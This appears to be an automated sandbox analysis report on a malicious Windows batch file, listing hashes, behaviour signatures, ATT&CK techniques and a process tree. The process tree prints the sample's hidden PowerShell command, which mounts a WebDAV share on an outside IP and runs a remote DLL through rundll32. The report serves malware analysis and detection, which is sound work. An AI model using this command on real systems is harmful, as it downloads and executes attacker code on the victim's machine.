2b9eb17a20df0659ea2c11d4196d5986ec9f14673d33e52742e9841f0ea28c80

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
14/07/2024, 17:09

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General

Target

174991964269079808.bat
Size

2KB
MD5

5105d8ce6457030017cbda9b1595bccc
SHA1

bb7e0679d873cfcd1c49ff0e6f02b7de7bc05b65
SHA256

2b9eb17a20df0659ea2c11d4196d5986ec9f14673d33e52742e9841f0ea28c80
SHA512

b999f177ceeef1b844f19fbd46ab9b004421d2e460c998a3597fc37ecd7354b895139d1dd138c9c2773d3436f467d519db923aee7458b0b567cad0e1036d07e1

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2908	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2908	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2908	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2872	wordpad.exe
2872	wordpad.exe
2872	wordpad.exe
2872	wordpad.exe
2872	wordpad.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2736 wrote to memory of 2872	2736	cmd.exe	31
PID 2736 wrote to memory of 2872	2736	cmd.exe	31
PID 2736 wrote to memory of 2872	2736	cmd.exe	31
PID 2736 wrote to memory of 2908	2736	cmd.exe	32
PID 2736 wrote to memory of 2908	2736	cmd.exe	32
PID 2736 wrote to memory of 2908	2736	cmd.exe	32
PID 2908 wrote to memory of 2652	2908	powershell.exe	34
PID 2908 wrote to memory of 2652	2908	powershell.exe	34
PID 2908 wrote to memory of 2652	2908	powershell.exe	34
PID 2908 wrote to memory of 1500	2908	powershell.exe	35
PID 2908 wrote to memory of 1500	2908	powershell.exe	35
PID 2908 wrote to memory of 1500	2908	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\174991964269079808.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2736
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\4862.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2908
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:2652
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\4862.dll entry
    3⤵
    PID:1500

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2908-23-0x000000001B680000-0x000000001B962000-memory.dmp

Filesize
2.9MB

Download
memory/2908-24-0x00000000027A0000-0x00000000027A8000-memory.dmp

Filesize
32KB

Download